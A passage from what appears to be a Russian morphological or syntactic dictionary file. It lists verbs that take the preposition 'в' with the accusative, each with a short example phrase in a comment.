нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // 